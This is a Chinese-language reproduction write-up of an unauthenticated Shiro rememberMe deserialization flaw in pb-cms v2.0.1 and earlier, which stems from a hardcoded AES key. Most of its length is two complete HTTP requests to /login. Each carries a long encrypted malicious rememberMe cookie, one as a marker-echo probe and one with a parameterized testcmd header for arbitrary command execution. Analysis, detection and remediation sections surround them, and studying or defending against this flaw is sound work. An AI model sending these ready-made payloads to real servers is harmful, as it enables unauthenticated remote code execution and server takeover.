pb-cms 内容管理系统 login 页面 shiro 反序列化漏洞复现

0x00 漏洞概述

pb-cms（瀑布内容管理系统）是一款基于 SpringBoot + Apache Shiro + Mybatis Plus + Thymeleaf 构建的开源内容管理系统，附带权限管理功能，源码托管于 Gitee 平台。

pb-cms v2.0.1 及之前的版本存在 shiro 反序列化漏洞。该漏洞源于软件在 Shiro 安全框架配置中使用了硬编码的 shiro-key：攻击者获得该密钥后，即可按照 Shiro「记住我」功能的加密格式伪造 rememberMe Cookie，向服务端提交恶意序列化数据，最终在服务器端执行任意代码、写入后门，进而获取服务器权限并控制整个 Web 服务器。该漏洞对应的 CVSS 评分为 9.8。

0x01 影响范围

• 受影响产品：pb-cms 内容管理系统
• 受影响版本：v2.0.1 及之前的版本
• 漏洞入口：/login 页面（登录接口），无需任何认证即可访问（此为依据 Shiro anon 放行行为的推断，原文档未明确说明）
• 资产识别特征：站点页面中引用 /libs/theme/pblog/js/pb-blog.js 脚本资源

0x02 漏洞分析

Apache Shiro 框架提供了「记住我」（rememberMe）能力：用户登录时勾选记住选项，服务端会将用户身份信息序列化后，使用 AES 密钥加密，以 rememberMe Cookie 的形式下发；用户下次访问时，服务端读取该 Cookie，先用密钥解密，再对明文执行反序列化来恢复身份。

Shiro 框架历史上存在默认密钥硬编码问题（对应 CVE-2016-4437），当应用沿用硬编码密钥且未及时更换时，攻击者可以利用相同的密钥加密自构造的序列化载荷，使服务端在解密后反序列化执行攻击者预置的恶意对象链，造成远程代码执行。

pb-cms 的问题在于其 Shiro 配置文件 ShiroConfig.java 中将加密密钥硬编码在源码内，所有部署实例共用同一密钥。由于源码在 Gitee 上公开，任何人都可以读取该配置获取密钥，进而为任意 pb-cms 实例构造合法加密格式的 rememberMe 恶意载荷。攻击过程中请求直接发往 /login 路径，该路径在 Shiro 的过滤链中处于放行范围（此为依据请求可达的推断），攻击全程不需要任何账号或会话凭据。

已有公开的代码审计分析同样指出 pb-cms 存在 shiro 反序列化风险，与本次漏洞的技术成因一致。

0x03 利用链与请求包

完整的利用过程分为两步：第一步发送探测请求验证目标是否存在该漏洞；第二步在验证通过后执行任意命令并获取回显。

两步请求均为向 /login 提交的 POST 请求，请求体为空，攻击面集中在 Cookie 与请求头中：

• Cookie: rememberMe=<密文>：使用硬编码密钥加密后的恶意序列化数据，两步请求使用同一份密文；
• testcmd 请求头：携带待执行的命令。探测阶段固定为 echo 11f89fcb481124adc3e1caff288fb114，利用阶段填入实际命令（支持参数化，默认执行 whoami）；
• testecho 请求头：回显校验标记，固定为 11f89fcb481124adc3e1caff288fb114。

关于载荷如何读取请求头并回显输出的具体内部机制，属于依据请求结构所作的推断，现有公开资料未展开描述。

探测成功的判定特征为：响应体和响应头中均出现标记串 11f89fcb481124adc3e1caff288fb114，说明服务端确实反序列化了 rememberMe 数据并执行了 echo 命令。

探测请求包原文如下（主机地址以示意地址代替）：

POST /login HTTP/1.1
Host: 192.0.2.10
Cookie: rememberMe=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
testcmd: echo 11f89fcb481124adc3e1caff288fb114
testecho: 11f89fcb481124adc3e1caff288fb114

探测通过后，发送利用请求执行任意命令。利用请求与探测请求的唯一差别是 testcmd 头的取值：将固定的 echo 探测命令替换为参数化的命令占位，该参数由使用者填入，默认取值为 whoami：

POST /login HTTP/1.1
Host: 192.0.2.10
Cookie: rememberMe=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
testcmd: {{{command}}}
testecho: 11f89fcb481124adc3e1caff288fb114

利用请求的响应内容中会包含命令执行结果，可用于确认命令是否执行成功。

0x04 检测与修复建议

检测方面：

1. 核查公网、办公网边界及第三方托管环境中的 pb-cms 部署，确认 /login 接口的暴露范围和部署版本；

2. 检查访问日志中是否存在针对 /login 的异常请求，重点排查 Cookie 中携带超长 rememberMe 值且伴随 testcmd、testecho 等异常请求头的流量；

3. 检查 Web、系统和进程日志，发现异常账号、计划任务或后门文件后及时隔离。

修复方面：

1. 官方暂未发布该漏洞的修复版本，建议通过项目主页与厂商联系反馈漏洞修复事宜；

2. 暂不能升级时，限制相关接口与管理面的访问来源，关闭调试或高风险功能，通过防火墙等安全设备设置访问策略和白名单，并拦截已知攻击特征；临时措施不能替代版本修复；

3. 如非必要，禁止公网直接访问该系统；

4. 升级修复前备份配置和数据。

0x05 参考资料

